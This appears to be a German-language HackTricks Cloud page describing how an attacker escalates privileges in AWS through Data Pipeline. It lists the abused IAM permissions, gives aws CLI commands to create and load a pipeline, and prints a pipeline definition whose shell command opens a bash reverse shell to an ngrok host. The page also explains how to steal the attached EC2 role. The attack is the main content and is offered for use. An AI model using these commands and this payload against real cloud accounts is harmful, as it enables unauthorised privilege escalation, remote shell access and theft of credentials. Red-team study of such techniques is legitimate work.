AWS - Datapipeline Privesc
Reading time: 3 minutes
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
datapipeline
Für weitere Informationen zu datapipeline siehe:
AWS - DataPipeline, CodePipeline & CodeCommit Enum
iam:PassRole, datapipeline:CreatePipeline, datapipeline:PutPipelineDefinition, datapipeline:ActivatePipeline
Benutzer mit diesen Berechtigungen können Privilegien eskalieren, indem sie eine Data Pipeline erstellen, um beliebige Befehle mit den Berechtigungen der zugewiesenen Rolle auszuführen:
aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string
Nach der Erstellung der pipeline aktualisiert der Angreifer die Definition, um bestimmte Aktionen oder Ressourcenerstellungen vorzugeben:
{
"objects": [
{
"id": "CreateDirectory",
"type": "ShellCommandActivity",
"command": "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'",
"runsOn": { "ref": "instance" }
},
{
"id": "Default",
"scheduleType": "ondemand",
"failureAndRerunMode": "CASCADE",
"name": "Default",
"role": "assumable_datapipeline",
"resourceRole": "assumable_datapipeline"
},
{
"id": "instance",
"name": "instance",
"type": "Ec2Resource",
"actionOnTaskFailure": "terminate",
"actionOnResourceFailure": "retryAll",
"maximumRetries": "1",
"instanceType": "t2.micro",
"securityGroups": ["default"],
"role": "assumable_datapipeline",
"resourceRole": "assumable_ec2_profile_instance"
}
]
}
note
Beachte, dass die role in Zeile 14, 15 und 27 eine role sein muss, die von datapipeline.amazonaws.com übernommen werden kann, und die role in Zeile 28 eine role sein muss, die von ec2.amazonaws.com mit einem EC2 profile instance übernommen werden kann.
Außerdem hat die EC2-Instanz nur Zugriff auf die role, die von der EC2-Instanz übernommen werden kann (du kannst also nur diese stehlen).
aws datapipeline put-pipeline-definition --pipeline-id <pipeline-id> \
--pipeline-definition file:///pipeline/definition.json
Die Pipeline-Definitionsdatei, vom Angreifer erstellt, enthält Anweisungen zur Ausführung von Befehlen oder zum Erstellen von Ressourcen über die AWS API, wobei die Rollenberechtigungen von Data Pipeline ausgenutzt werden, um möglicherweise zusätzliche Privilegien zu erlangen.
Mögliche Auswirkung: Direkter privesc auf die angegebene ec2-Service-Rolle.
Referenzen
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks Cloud